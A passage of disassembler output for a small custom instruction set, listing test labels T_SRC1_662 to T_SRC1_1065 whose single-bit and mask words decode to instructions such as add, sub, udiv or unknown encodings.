31b50: 00 20 00 00 sub r0,r0
00031b54 <T_SRC1_662>:
31b54: 00 40 00 00 mull r0,r0
00031b58 <T_SRC1_663>:
31b58: 00 80 00 00 udiv r0,r0
00031b5c <T_SRC1_664>:
31b5c: 01 00 00 00 mod r0,r0
00031b60 <T_SRC1_665>:
31b60: 02 00 00 00 inc r0,r0
00031b64 <T_SRC1_666>:
31b64: 04 00 00 00 *unknown*
00031b68 <T_SRC1_667>:
31b68: 08 00 00 00 shl r0,r0
00031b6c <T_SRC1_668>:
31b6c: 10 00 00 00 ld8 r0,r0
00031b70 <T_SRC1_669>:
31b70: 20 00 00 00 nop
00031b74 <T_SRC1_670>:
31b74: 40 00 00 00 *unknown*
00031b78 <T_SRC1_671>:
31b78: 80 00 00 00 *unknown*
00031b7c <T_SRC1_672>:
31b7c: 00 00 00 01 add r0,r1
00031b80 <T_SRC1_673>:
31b80: 00 00 00 02 add r0,r2
00031b84 <T_SRC1_674>:
31b84: 00 00 00 04 add r0,r4
00031b88 <T_SRC1_675>:
31b88: 00 00 00 08 add r0,r8
00031b8c <T_SRC1_676>:
31b8c: 00 00 00 10 add r0,r16
00031b90 <T_SRC1_677>:
31b90: 00 00 00 20 add r1,r0
00031b94 <T_SRC1_678>:
31b94: 00 00 00 40 add r2,r0
00031b98 <T_SRC1_679>:
31b98: 00 00 00 80 add r4,r0
00031b9c <T_SRC1_680>:
31b9c: 00 00 01 00 add r8,r0
00031ba0 <T_SRC1_681>:
31ba0: 00 00 02 00 add r16,r0
00031ba4 <T_SRC1_682>:
31ba4: 00 00 04 00 *unknown*
00031ba8 <T_SRC1_683>:
31ba8: 00 00 08 00 *unknown*
00031bac <T_SRC1_684>:
31bac: 00 00 10 00 *unknown*
00031bb0 <T_SRC1_685>:
31bb0: 00 00 20 00 *unknown*
00031bb4 <T_SRC1_686>:
31bb4: 00 00 40 00 *unknown*
00031bb8 <T_SRC1_687>:
31bb8: 00 00 80 00 *unknown*
00031bbc <T_SRC1_688>:
31bbc: 00 01 00 00 *unknown*
00031bc0 <T_SRC1_689>:
31bc0: 00 02 00 00 *unknown*
00031bc4 <T_SRC1_690>:
31bc4: 00 04 00 00 *unknown*
00031bc8 <T_SRC1_691>:
31bc8: 00 08 00 00 *unknown*
00031bcc <T_SRC1_692>:
31bcc: 00 10 00 00 add r0,0
00031bd0 <T_SRC1_693>:
31bd0: 00 20 00 00 sub r0,r0
00031bd4 <T_SRC1_694>:
31bd4: 00 40 00 00 mull r0,r0
00031bd8 <T_SRC1_695>:
31bd8: 00 80 00 00 udiv r0,r0
00031bdc <T_SRC1_696>:
31bdc: 01 00 00 00 mod r0,r0
00031be0 <T_SRC1_697>:
31be0: 02 00 00 00 inc r0,r0
00031be4 <T_SRC1_698>:
31be4: 04 00 00 00 *unknown*
00031be8 <T_SRC1_699>:
31be8: 08 00 00 00 shl r0,r0
00031bec <T_SRC1_700>:
31bec: 10 00 00 00 ld8 r0,r0
00031bf0 <T_SRC1_701>:
31bf0: 20 00 00 00 nop
00031bf4 <T_SRC1_702>:
31bf4: 40 00 00 00 *unknown*
00031bf8 <T_SRC1_703>:
31bf8: 80 00 00 00 *unknown*
00031bfc <T_SRC1_704>:
31bfc: 00 00 00 01 add r0,r1
00031c00 <T_SRC1_705>:
31c00: 00 00 00 02 add r0,r2
00031c04 <T_SRC1_706>:
31c04: 00 00 00 04 add r0,r4
00031c08 <T_SRC1_707>:
31c08: 00 00 00 08 add r0,r8
00031c0c <T_SRC1_708>:
31c0c: 00 00 00 10 add r0,r16
00031c10 <T_SRC1_709>:
31c10: 00 00 00 20 add r1,r0
00031c14 <T_SRC1_710>:
31c14: 00 00 00 40 add r2,r0
00031c18 <T_SRC1_711>:
31c18: 00 00 00 80 add r4,r0
00031c1c <T_SRC1_712>:
31c1c: 00 00 01 00 add r8,r0
00031c20 <T_SRC1_713>:
31c20: 00 00 02 00 add r16,r0
00031c24 <T_SRC1_714>:
31c24: 00 00 04 00 *unknown*
00031c28 <T_SRC1_715>:
31c28: 00 00 08 00 *unknown*
00031c2c <T_SRC1_716>:
31c2c: 00 00 10 00 *unknown*
00031c30 <T_SRC1_717>:
31c30: 00 00 20 00 *unknown*
00031c34 <T_SRC1_718>:
31c34: 00 00 40 00 *unknown*
00031c38 <T_SRC1_719>:
31c38: 00 00 80 00 *unknown*
00031c3c <T_SRC1_720>:
31c3c: 00 01 00 00 *unknown*
00031c40 <T_SRC1_721>:
31c40: 00 02 00 00 *unknown*
00031c44 <T_SRC1_722>:
31c44: 00 04 00 00 *unknown*
00031c48 <T_SRC1_723>:
31c48: 00 08 00 00 *unknown*
00031c4c <T_SRC1_724>:
31c4c: 00 10 00 00 add r0,0
00031c50 <T_SRC1_725>:
31c50: 00 20 00 00 sub r0,r0
00031c54 <T_SRC1_726>:
31c54: 00 40 00 00 mull r0,r0
00031c58 <T_SRC1_727>:
31c58: 00 80 00 00 udiv r0,r0
00031c5c <T_SRC1_728>:
31c5c: 01 00 00 00 mod r0,r0
00031c60 <T_SRC1_729>:
31c60: 02 00 00 00 inc r0,r0
00031c64 <T_SRC1_730>:
31c64: 04 00 00 00 *unknown*
00031c68 <T_SRC1_731>:
31c68: 08 00 00 00 shl r0,r0
00031c6c <T_SRC1_732>:
31c6c: 10 00 00 00 ld8 r0,r0
00031c70 <T_SRC1_733>:
31c70: 20 00 00 00 nop
00031c74 <T_SRC1_734>:
31c74: 40 00 00 00 *unknown*
00031c78 <T_SRC1_735>:
31c78: 80 00 00 00 *unknown*
00031c7c <T_SRC1_736>:
31c7c: 00 00 00 01 add r0,r1
00031c80 <T_SRC1_737>:
31c80: 00 00 00 02 add r0,r2
00031c84 <T_SRC1_738>:
31c84: 00 00 00 04 add r0,r4
00031c88 <T_SRC1_739>:
31c88: 00 00 00 08 add r0,r8
00031c8c <T_SRC1_740>:
31c8c: 00 00 00 10 add r0,r16
00031c90 <T_SRC1_741>:
31c90: 00 00 00 20 add r1,r0
00031c94 <T_SRC1_742>:
31c94: 00 00 00 40 add r2,r0
00031c98 <T_SRC1_743>:
31c98: 00 00 00 80 add r4,r0
00031c9c <T_SRC1_744>:
31c9c: 00 00 01 00 add r8,r0
00031ca0 <T_SRC1_745>:
31ca0: 00 00 02 00 add r16,r0
00031ca4 <T_SRC1_746>:
31ca4: 00 00 04 00 *unknown*
00031ca8 <T_SRC1_747>:
31ca8: 00 00 08 00 *unknown*
00031cac <T_SRC1_748>:
31cac: 00 00 10 00 *unknown*
00031cb0 <T_SRC1_749>:
31cb0: 00 00 20 00 *unknown*
00031cb4 <T_SRC1_750>:
31cb4: 00 00 40 00 *unknown*
00031cb8 <T_SRC1_751>:
31cb8: 00 00 80 00 *unknown*
00031cbc <T_SRC1_752>:
31cbc: 00 01 00 00 *unknown*
00031cc0 <T_SRC1_753>:
31cc0: 00 02 00 00 *unknown*
00031cc4 <T_SRC1_754>:
31cc4: 00 04 00 00 *unknown*
00031cc8 <T_SRC1_755>:
31cc8: 00 08 00 00 *unknown*
00031ccc <T_SRC1_756>:
31ccc: 00 10 00 00 add r0,0
00031cd0 <T_SRC1_757>:
31cd0: 00 20 00 00 sub r0,r0
00031cd4 <T_SRC1_758>:
31cd4: 00 40 00 00 mull r0,r0
00031cd8 <T_SRC1_759>:
31cd8: 00 80 00 00 udiv r0,r0
00031cdc <T_SRC1_760>:
31cdc: 01 00 00 00 mod r0,r0
00031ce0 <T_SRC1_761>:
31ce0: 02 00 00 00 inc r0,r0
00031ce4 <T_SRC1_762>:
31ce4: 04 00 00 00 *unknown*
00031ce8 <T_SRC1_763>:
31ce8: 08 00 00 00 shl r0,r0
00031cec <T_SRC1_764>:
31cec: 10 00 00 00 ld8 r0,r0
00031cf0 <T_SRC1_765>:
31cf0: 20 00 00 00 nop
00031cf4 <T_SRC1_766>:
31cf4: 40 00 00 00 *unknown*
00031cf8 <T_SRC1_767>:
31cf8: 80 00 00 00 *unknown*
00031cfc <T_SRC1_768>:
31cfc: 00 00 00 01 add r0,r1
00031d00 <T_SRC1_769>:
31d00: 00 00 00 02 add r0,r2
00031d04 <T_SRC1_770>:
31d04: 00 00 00 04 add r0,r4
00031d08 <T_SRC1_771>:
31d08: 00 00 00 08 add r0,r8
00031d0c <T_SRC1_772>:
31d0c: 00 00 00 10 add r0,r16
00031d10 <T_SRC1_773>:
31d10: 00 00 00 20 add r1,r0
00031d14 <T_SRC1_774>:
31d14: 00 00 00 40 add r2,r0
00031d18 <T_SRC1_775>:
31d18: 00 00 00 80 add r4,r0
00031d1c <T_SRC1_776>:
31d1c: 00 00 01 00 add r8,r0
00031d20 <T_SRC1_777>:
31d20: 00 00 02 00 add r16,r0
00031d24 <T_SRC1_778>:
31d24: 00 00 04 00 *unknown*
00031d28 <T_SRC1_779>:
31d28: 00 00 08 00 *unknown*
00031d2c <T_SRC1_780>:
31d2c: 00 00 10 00 *unknown*
00031d30 <T_SRC1_781>:
31d30: 00 00 20 00 *unknown*
00031d34 <T_SRC1_782>:
31d34: 00 00 40 00 *unknown*
00031d38 <T_SRC1_783>:
31d38: 00 00 80 00 *unknown*
00031d3c <T_SRC1_784>:
31d3c: 00 01 00 00 *unknown*
00031d40 <T_SRC1_785>:
31d40: 00 02 00 00 *unknown*
00031d44 <T_SRC1_786>:
31d44: 00 04 00 00 *unknown*
00031d48 <T_SRC1_787>:
31d48: 00 08 00 00 *unknown*
00031d4c <T_SRC1_788>:
31d4c: 00 10 00 00 add r0,0
00031d50 <T_SRC1_789>:
31d50: 00 20 00 00 sub r0,r0
00031d54 <T_SRC1_790>:
31d54: 00 40 00 00 mull r0,r0
00031d58 <T_SRC1_791>:
31d58: 00 80 00 00 udiv r0,r0
00031d5c <T_SRC1_792>:
31d5c: 01 00 00 00 mod r0,r0
00031d60 <T_SRC1_793>:
31d60: 02 00 00 00 inc r0,r0
00031d64 <T_SRC1_794>:
31d64: 04 00 00 00 *unknown*
00031d68 <T_SRC1_795>:
31d68: 08 00 00 00 shl r0,r0
00031d6c <T_SRC1_796>:
31d6c: 10 00 00 00 ld8 r0,r0
00031d70 <T_SRC1_797>:
31d70: 20 00 00 00 nop
00031d74 <T_SRC1_798>:
31d74: 40 00 00 00 *unknown*
00031d78 <T_SRC1_799>:
31d78: 80 00 00 00 *unknown*
00031d7c <T_SRC1_800>:
31d7c: 00 00 00 01 add r0,r1
00031d80 <T_SRC1_801>:
31d80: 00 00 00 02 add r0,r2
00031d84 <T_SRC1_802>:
31d84: 00 00 00 04 add r0,r4
00031d88 <T_SRC1_803>:
31d88: 00 00 00 08 add r0,r8
00031d8c <T_SRC1_804>:
31d8c: 00 00 00 10 add r0,r16
00031d90 <T_SRC1_805>:
31d90: 00 00 00 20 add r1,r0
00031d94 <T_SRC1_806>:
31d94: 00 00 00 40 add r2,r0
00031d98 <T_SRC1_807>:
31d98: 00 00 00 80 add r4,r0
00031d9c <T_SRC1_808>:
31d9c: 00 00 01 00 add r8,r0
00031da0 <T_SRC1_809>:
31da0: 00 00 02 00 add r16,r0
00031da4 <T_SRC1_810>:
31da4: 00 00 04 00 *unknown*
00031da8 <T_SRC1_811>:
31da8: 00 00 08 00 *unknown*
00031dac <T_SRC1_812>:
31dac: 00 00 10 00 *unknown*
00031db0 <T_SRC1_813>:
31db0: 00 00 20 00 *unknown*
00031db4 <T_SRC1_814>:
31db4: 00 00 40 00 *unknown*
00031db8 <T_SRC1_815>:
31db8: 00 00 80 00 *unknown*
00031dbc <T_SRC1_816>:
31dbc: 00 01 00 00 *unknown*
00031dc0 <T_SRC1_817>:
31dc0: 00 02 00 00 *unknown*
00031dc4 <T_SRC1_818>:
31dc4: 00 04 00 00 *unknown*
00031dc8 <T_SRC1_819>:
31dc8: 00 08 00 00 *unknown*
00031dcc <T_SRC1_820>:
31dcc: 00 10 00 00 add r0,0
00031dd0 <T_SRC1_821>:
31dd0: 00 20 00 00 sub r0,r0
00031dd4 <T_SRC1_822>:
31dd4: 00 40 00 00 mull r0,r0
00031dd8 <T_SRC1_823>:
31dd8: 00 80 00 00 udiv r0,r0
00031ddc <T_SRC1_824>:
31ddc: 01 00 00 00 mod r0,r0
00031de0 <T_SRC1_825>:
31de0: 02 00 00 00 inc r0,r0
00031de4 <T_SRC1_826>:
31de4: 04 00 00 00 *unknown*
00031de8 <T_SRC1_827>:
31de8: 08 00 00 00 shl r0,r0
00031dec <T_SRC1_828>:
31dec: 10 00 00 00 ld8 r0,r0
00031df0 <T_SRC1_829>:
31df0: 20 00 00 00 nop
00031df4 <T_SRC1_830>:
31df4: 40 00 00 00 *unknown*
00031df8 <T_SRC1_831>:
31df8: 80 00 00 00 *unknown*
00031dfc <T_SRC1_832>:
31dfc: 00 00 00 01 add r0,r1
00031e00 <T_SRC1_833>:
31e00: 00 00 00 02 add r0,r2
00031e04 <T_SRC1_834>:
31e04: 00 00 00 04 add r0,r4
00031e08 <T_SRC1_835>:
31e08: 00 00 00 08 add r0,r8
00031e0c <T_SRC1_836>:
31e0c: 00 00 00 10 add r0,r16
00031e10 <T_SRC1_837>:
31e10: 00 00 00 20 add r1,r0
00031e14 <T_SRC1_838>:
31e14: 00 00 00 40 add r2,r0
00031e18 <T_SRC1_839>:
31e18: 00 00 00 80 add r4,r0
00031e1c <T_SRC1_840>:
31e1c: 00 00 01 00 add r8,r0
00031e20 <T_SRC1_841>:
31e20: 00 00 02 00 add r16,r0
00031e24 <T_SRC1_842>:
31e24: 00 00 04 00 *unknown*
00031e28 <T_SRC1_843>:
31e28: 00 00 08 00 *unknown*
00031e2c <T_SRC1_844>:
31e2c: 00 00 10 00 *unknown*
00031e30 <T_SRC1_845>:
31e30: 00 00 20 00 *unknown*
00031e34 <T_SRC1_846>:
31e34: 00 00 40 00 *unknown*
00031e38 <T_SRC1_847>:
31e38: 00 00 80 00 *unknown*
00031e3c <T_SRC1_848>:
31e3c: 00 01 00 00 *unknown*
00031e40 <T_SRC1_849>:
31e40: 00 02 00 00 *unknown*
00031e44 <T_SRC1_850>:
31e44: 00 04 00 00 *unknown*
00031e48 <T_SRC1_851>:
31e48: 00 08 00 00 *unknown*
00031e4c <T_SRC1_852>:
31e4c: 00 10 00 00 add r0,0
00031e50 <T_SRC1_853>:
31e50: 00 20 00 00 sub r0,r0
00031e54 <T_SRC1_854>:
31e54: 00 40 00 00 mull r0,r0
00031e58 <T_SRC1_855>:
31e58: 00 80 00 00 udiv r0,r0
00031e5c <T_SRC1_856>:
31e5c: 01 00 00 00 mod r0,r0
00031e60 <T_SRC1_857>:
31e60: 02 00 00 00 inc r0,r0
00031e64 <T_SRC1_858>:
31e64: 04 00 00 00 *unknown*
00031e68 <T_SRC1_859>:
31e68: 08 00 00 00 shl r0,r0
00031e6c <T_SRC1_860>:
31e6c: 10 00 00 00 ld8 r0,r0
00031e70 <T_SRC1_861>:
31e70: 20 00 00 00 nop
00031e74 <T_SRC1_862>:
31e74: 40 00 00 00 *unknown*
00031e78 <T_SRC1_863>:
31e78: 80 00 00 00 *unknown*
00031e7c <T_SRC1_864>:
31e7c: 00 00 00 01 add r0,r1
00031e80 <T_SRC1_865>:
31e80: 00 00 00 02 add r0,r2
00031e84 <T_SRC1_866>:
31e84: 00 00 00 04 add r0,r4
00031e88 <T_SRC1_867>:
31e88: 00 00 00 08 add r0,r8
00031e8c <T_SRC1_868>:
31e8c: 00 00 00 10 add r0,r16
00031e90 <T_SRC1_869>:
31e90: 00 00 00 20 add r1,r0
00031e94 <T_SRC1_870>:
31e94: 00 00 00 40 add r2,r0
00031e98 <T_SRC1_871>:
31e98: 00 00 00 80 add r4,r0
00031e9c <T_SRC1_872>:
31e9c: 00 00 01 00 add r8,r0
00031ea0 <T_SRC1_873>:
31ea0: 00 00 02 00 add r16,r0
00031ea4 <T_SRC1_874>:
31ea4: 00 00 04 00 *unknown*
00031ea8 <T_SRC1_875>:
31ea8: 00 00 08 00 *unknown*
00031eac <T_SRC1_876>:
31eac: 00 00 10 00 *unknown*
00031eb0 <T_SRC1_877>:
31eb0: 00 00 20 00 *unknown*
00031eb4 <T_SRC1_878>:
31eb4: 00 00 40 00 *unknown*
00031eb8 <T_SRC1_879>:
31eb8: 00 00 80 00 *unknown*
00031ebc <T_SRC1_880>:
31ebc: 00 01 00 00 *unknown*
00031ec0 <T_SRC1_881>:
31ec0: 00 02 00 00 *unknown*
00031ec4 <T_SRC1_882>:
31ec4: 00 04 00 00 *unknown*
00031ec8 <T_SRC1_883>:
31ec8: 00 08 00 00 *unknown*
00031ecc <T_SRC1_884>:
31ecc: 00 10 00 00 add r0,0
00031ed0 <T_SRC1_885>:
31ed0: 00 20 00 00 sub r0,r0
00031ed4 <T_SRC1_886>:
31ed4: 00 40 00 00 mull r0,r0
00031ed8 <T_SRC1_887>:
31ed8: 00 80 00 00 udiv r0,r0
00031edc <T_SRC1_888>:
31edc: 01 00 00 00 mod r0,r0
00031ee0 <T_SRC1_889>:
31ee0: 02 00 00 00 inc r0,r0
00031ee4 <T_SRC1_890>:
31ee4: 04 00 00 00 *unknown*
00031ee8 <T_SRC1_891>:
31ee8: 08 00 00 00 shl r0,r0
00031eec <T_SRC1_892>:
31eec: 10 00 00 00 ld8 r0,r0
00031ef0 <T_SRC1_893>:
31ef0: 20 00 00 00 nop
00031ef4 <T_SRC1_894>:
31ef4: 40 00 00 00 *unknown*
00031ef8 <T_SRC1_895>:
31ef8: 80 00 00 00 *unknown*
00031efc <T_SRC1_896>:
31efc: 00 00 00 01 add r0,r1
00031f00 <T_SRC1_897>:
31f00: 00 00 00 02 add r0,r2
00031f04 <T_SRC1_898>:
31f04: 00 00 00 04 add r0,r4
00031f08 <T_SRC1_899>:
31f08: 00 00 00 08 add r0,r8
00031f0c <T_SRC1_900>:
31f0c: 00 00 00 10 add r0,r16
00031f10 <T_SRC1_901>:
31f10: 00 00 00 20 add r1,r0
00031f14 <T_SRC1_902>:
31f14: 00 00 00 40 add r2,r0
00031f18 <T_SRC1_903>:
31f18: 00 00 00 80 add r4,r0
00031f1c <T_SRC1_904>:
31f1c: 00 00 01 00 add r8,r0
00031f20 <T_SRC1_905>:
31f20: 00 00 02 00 add r16,r0
00031f24 <T_SRC1_906>:
31f24: 00 00 04 00 *unknown*
00031f28 <T_SRC1_907>:
31f28: 00 00 08 00 *unknown*
00031f2c <T_SRC1_908>:
31f2c: 00 00 10 00 *unknown*
00031f30 <T_SRC1_909>:
31f30: 00 00 20 00 *unknown*
00031f34 <T_SRC1_910>:
31f34: 00 00 40 00 *unknown*
00031f38 <T_SRC1_911>:
31f38: 00 00 80 00 *unknown*
00031f3c <T_SRC1_912>:
31f3c: 00 01 00 00 *unknown*
00031f40 <T_SRC1_913>:
31f40: 00 02 00 00 *unknown*
00031f44 <T_SRC1_914>:
31f44: 00 04 00 00 *unknown*
00031f48 <T_SRC1_915>:
31f48: 00 08 00 00 *unknown*
00031f4c <T_SRC1_916>:
31f4c: 00 10 00 00 add r0,0
00031f50 <T_SRC1_917>:
31f50: 00 20 00 00 sub r0,r0
00031f54 <T_SRC1_918>:
31f54: 00 40 00 00 mull r0,r0
00031f58 <T_SRC1_919>:
31f58: 00 80 00 00 udiv r0,r0
00031f5c <T_SRC1_920>:
31f5c: 01 00 00 00 mod r0,r0
00031f60 <T_SRC1_921>:
31f60: 02 00 00 00 inc r0,r0
00031f64 <T_SRC1_922>:
31f64: 04 00 00 00 *unknown*
00031f68 <T_SRC1_923>:
31f68: 08 00 00 00 shl r0,r0
00031f6c <T_SRC1_924>:
31f6c: 10 00 00 00 ld8 r0,r0
00031f70 <T_SRC1_925>:
31f70: 20 00 00 00 nop
00031f74 <T_SRC1_926>:
31f74: 40 00 00 00 *unknown*
00031f78 <T_SRC1_927>:
31f78: 80 00 00 00 *unknown*
00031f7c <T_SRC1_928>:
31f7c: 00 00 00 01 add r0,r1
00031f80 <T_SRC1_929>:
31f80: 00 00 00 02 add r0,r2
00031f84 <T_SRC1_930>:
31f84: 00 00 00 04 add r0,r4
00031f88 <T_SRC1_931>:
31f88: 00 00 00 08 add r0,r8
00031f8c <T_SRC1_932>:
31f8c: 00 00 00 10 add r0,r16
00031f90 <T_SRC1_933>:
31f90: 00 00 00 20 add r1,r0
00031f94 <T_SRC1_934>:
31f94: 00 00 00 40 add r2,r0
00031f98 <T_SRC1_935>:
31f98: 00 00 00 80 add r4,r0
00031f9c <T_SRC1_936>:
31f9c: 00 00 01 00 add r8,r0
00031fa0 <T_SRC1_937>:
31fa0: 00 00 02 00 add r16,r0
00031fa4 <T_SRC1_938>:
31fa4: 00 00 04 00 *unknown*
00031fa8 <T_SRC1_939>:
31fa8: 00 00 08 00 *unknown*
00031fac <T_SRC1_940>:
31fac: 00 00 10 00 *unknown*
00031fb0 <T_SRC1_941>:
31fb0: 00 00 20 00 *unknown*
00031fb4 <T_SRC1_942>:
31fb4: 00 00 40 00 *unknown*
00031fb8 <T_SRC1_943>:
31fb8: 00 00 80 00 *unknown*
00031fbc <T_SRC1_944>:
31fbc: 00 01 00 00 *unknown*
00031fc0 <T_SRC1_945>:
31fc0: 00 02 00 00 *unknown*
00031fc4 <T_SRC1_946>:
31fc4: 00 04 00 00 *unknown*
00031fc8 <T_SRC1_947>:
31fc8: 00 08 00 00 *unknown*
00031fcc <T_SRC1_948>:
31fcc: 00 10 00 00 add r0,0
00031fd0 <T_SRC1_949>:
31fd0: 00 20 00 00 sub r0,r0
00031fd4 <T_SRC1_950>:
31fd4: 00 40 00 00 mull r0,r0
00031fd8 <T_SRC1_951>:
31fd8: 00 80 00 00 udiv r0,r0
00031fdc <T_SRC1_952>:
31fdc: 01 00 00 00 mod r0,r0
00031fe0 <T_SRC1_953>:
31fe0: 02 00 00 00 inc r0,r0
00031fe4 <T_SRC1_954>:
31fe4: 04 00 00 00 *unknown*
00031fe8 <T_SRC1_955>:
31fe8: 08 00 00 00 shl r0,r0
00031fec <T_SRC1_956>:
31fec: 10 00 00 00 ld8 r0,r0
00031ff0 <T_SRC1_957>:
31ff0: 20 00 00 00 nop
00031ff4 <T_SRC1_958>:
31ff4: 40 00 00 00 *unknown*
00031ff8 <T_SRC1_959>:
31ff8: 80 00 00 00 *unknown*
00031ffc <T_SRC1_960>:
31ffc: 00 00 00 01 add r0,r1
00032000 <T_SRC1_961>:
32000: 00 00 00 02 add r0,r2
00032004 <T_SRC1_962>:
32004: 00 00 00 04 add r0,r4
00032008 <T_SRC1_963>:
32008: 00 00 00 08 add r0,r8
0003200c <T_SRC1_964>:
3200c: 00 00 00 10 add r0,r16
00032010 <T_SRC1_965>:
32010: 00 00 00 20 add r1,r0
00032014 <T_SRC1_966>:
32014: 00 00 00 40 add r2,r0
00032018 <T_SRC1_967>:
32018: 00 00 00 80 add r4,r0
0003201c <T_SRC1_968>:
3201c: 00 00 01 00 add r8,r0
00032020 <T_SRC1_969>:
32020: 00 00 02 00 add r16,r0
00032024 <T_SRC1_970>:
32024: 00 00 04 00 *unknown*
00032028 <T_SRC1_971>:
32028: 00 00 08 00 *unknown*
0003202c <T_SRC1_972>:
3202c: 00 00 10 00 *unknown*
00032030 <T_SRC1_973>:
32030: 00 00 20 00 *unknown*
00032034 <T_SRC1_974>:
32034: 00 00 40 00 *unknown*
00032038 <T_SRC1_975>:
32038: 00 00 80 00 *unknown*
0003203c <T_SRC1_976>:
3203c: 00 01 00 00 *unknown*
00032040 <T_SRC1_977>:
32040: 00 02 00 00 *unknown*
00032044 <T_SRC1_978>:
32044: 00 04 00 00 *unknown*
00032048 <T_SRC1_979>:
32048: 00 08 00 00 *unknown*
0003204c <T_SRC1_980>:
3204c: 00 10 00 00 add r0,0
00032050 <T_SRC1_981>:
32050: 00 20 00 00 sub r0,r0
00032054 <T_SRC1_982>:
32054: 00 40 00 00 mull r0,r0
00032058 <T_SRC1_983>:
32058: 00 80 00 00 udiv r0,r0
0003205c <T_SRC1_984>:
3205c: 01 00 00 00 mod r0,r0
00032060 <T_SRC1_985>:
32060: 02 00 00 00 inc r0,r0
00032064 <T_SRC1_986>:
32064: 04 00 00 00 *unknown*
00032068 <T_SRC1_987>:
32068: 08 00 00 00 shl r0,r0
0003206c <T_SRC1_988>:
3206c: 10 00 00 00 ld8 r0,r0
00032070 <T_SRC1_989>:
32070: 20 00 00 00 nop
00032074 <T_SRC1_990>:
32074: 40 00 00 00 *unknown*
00032078 <T_SRC1_991>:
32078: 80 00 00 00 *unknown*
0003207c <T_SRC1_992>:
3207c: 00 00 00 01 add r0,r1
00032080 <T_SRC1_993>:
32080: 00 00 00 02 add r0,r2
00032084 <T_SRC1_994>:
32084: 00 00 00 04 add r0,r4
00032088 <T_SRC1_995>:
32088: 00 00 00 08 add r0,r8
0003208c <T_SRC1_996>:
3208c: 00 00 00 10 add r0,r16
00032090 <T_SRC1_997>:
32090: 00 00 00 20 add r1,r0
00032094 <T_SRC1_998>:
32094: 00 00 00 40 add r2,r0
00032098 <T_SRC1_999>:
32098: 00 00 00 80 add r4,r0
0003209c <T_SRC1_1000>:
3209c: 00 00 01 00 add r8,r0
000320a0 <T_SRC1_1001>:
320a0: 00 00 02 00 add r16,r0
000320a4 <T_SRC1_1002>:
320a4: 00 00 04 00 *unknown*
000320a8 <T_SRC1_1003>:
320a8: 00 00 08 00 *unknown*
000320ac <T_SRC1_1004>:
320ac: 00 00 10 00 *unknown*
000320b0 <T_SRC1_1005>:
320b0: 00 00 20 00 *unknown*
000320b4 <T_SRC1_1006>:
320b4: 00 00 40 00 *unknown*
000320b8 <T_SRC1_1007>:
320b8: 00 00 80 00 *unknown*
000320bc <T_SRC1_1008>:
320bc: 00 01 00 00 *unknown*
000320c0 <T_SRC1_1009>:
320c0: 00 02 00 00 *unknown*
000320c4 <T_SRC1_1010>:
320c4: 00 04 00 00 *unknown*
000320c8 <T_SRC1_1011>:
320c8: 00 08 00 00 *unknown*
000320cc <T_SRC1_1012>:
320cc: 00 10 00 00 add r0,0
000320d0 <T_SRC1_1013>:
320d0: 00 20 00 00 sub r0,r0
000320d4 <T_SRC1_1014>:
320d4: 00 40 00 00 mull r0,r0
000320d8 <T_SRC1_1015>:
320d8: 00 80 00 00 udiv r0,r0
000320dc <T_SRC1_1016>:
320dc: 01 00 00 00 mod r0,r0
000320e0 <T_SRC1_1017>:
320e0: 02 00 00 00 inc r0,r0
000320e4 <T_SRC1_1018>:
320e4: 04 00 00 00 *unknown*
000320e8 <T_SRC1_1019>:
320e8: 08 00 00 00 shl r0,r0
000320ec <T_SRC1_1020>:
320ec: 10 00 00 00 ld8 r0,r0
000320f0 <T_SRC1_1021>:
320f0: 20 00 00 00 nop
000320f4 <T_SRC1_1022>:
320f4: 40 00 00 00 *unknown*
000320f8 <T_SRC1_1023>:
320f8: 80 00 00 00 *unknown*
000320fc <T_SRC1_1024>:
320fc: 00 00 00 01 add r0,r1
00032100 <T_SRC1_1025>:
32100: 00 00 00 02 add r0,r2
00032104 <T_SRC1_1026>:
32104: 00 00 00 04 add r0,r4
00032108 <T_SRC1_1027>:
32108: 00 00 00 08 add r0,r8
0003210c <T_SRC1_1028>:
3210c: 00 00 00 10 add r0,r16
00032110 <T_SRC1_1029>:
32110: 00 00 00 20 add r1,r0
00032114 <T_SRC1_1030>:
32114: 00 00 00 40 add r2,r0
00032118 <T_SRC1_1031>:
32118: 00 00 00 80 add r4,r0
0003211c <T_SRC1_1032>:
3211c: 00 00 01 00 add r8,r0
00032120 <T_SRC1_1033>:
32120: 00 00 02 00 add r16,r0
00032124 <T_SRC1_1034>:
32124: 00 00 04 00 *unknown*
00032128 <T_SRC1_1035>:
32128: 00 00 08 00 *unknown*
0003212c <T_SRC1_1036>:
3212c: 00 00 10 00 *unknown*
00032130 <T_SRC1_1037>:
32130: 00 00 20 00 *unknown*
00032134 <T_SRC1_1038>:
32134: 00 00 40 00 *unknown*
00032138 <T_SRC1_1039>:
32138: 00 00 80 00 *unknown*
0003213c <T_SRC1_1040>:
3213c: 00 01 00 00 *unknown*
00032140 <T_SRC1_1041>:
32140: 00 02 00 00 *unknown*
00032144 <T_SRC1_1042>:
32144: 00 04 00 00 *unknown*
00032148 <T_SRC1_1043>:
32148: 00 08 00 00 *unknown*
0003214c <T_SRC1_1044>:
3214c: 00 10 00 00 add r0,0
00032150 <T_SRC1_1045>:
32150: 00 20 00 00 sub r0,r0
00032154 <T_SRC1_1046>:
32154: 00 40 00 00 mull r0,r0
00032158 <T_SRC1_1047>:
32158: 00 80 00 00 udiv r0,r0
0003215c <T_SRC1_1048>:
3215c: 01 00 00 00 mod r0,r0
00032160 <T_SRC1_1049>:
32160: 02 00 00 00 inc r0,r0
00032164 <T_SRC1_1050>:
32164: 04 00 00 00 *unknown*
00032168 <T_SRC1_1051>:
32168: 08 00 00 00 shl r0,r0
0003216c <T_SRC1_1052>:
3216c: 10 00 00 00 ld8 r0,r0
00032170 <T_SRC1_1053>:
32170: 20 00 00 00 nop
00032174 <T_SRC1_1054>:
32174: 40 00 00 00 *unknown*
00032178 <T_SRC1_1055>:
32178: 80 00 00 00 *unknown*
0003217c <T_SRC1_1056>:
3217c: 00 00 00 03 add r0,r3
00032180 <T_SRC1_1057>:
32180: 00 00 00 07 add r0,rtmp
00032184 <T_SRC1_1058>:
32184: 00 00 00 0f add r0,r15
00032188 <T_SRC1_1059>:
32188: 00 00 00 1f add r0,rret
0003218c <T_SRC1_1060>:
3218c: 00 00 00 3f add r1,rret
00032190 <T_SRC1_1061>:
32190: 00 00 00 7f add r3,rret
00032194 <T_SRC1_1062>:
32194: 00 00 00 ff add rtmp,rret
00032198 <T_SRC1_1063>:
32198: 00 00 01 ff add r15,rret
0003219c <T_SRC1_1064>:
3219c: 00 00 03 ff add rret,rret
000321a0 <T_SRC1_1065>:
321a0: 00 00 07 ff *unknown*
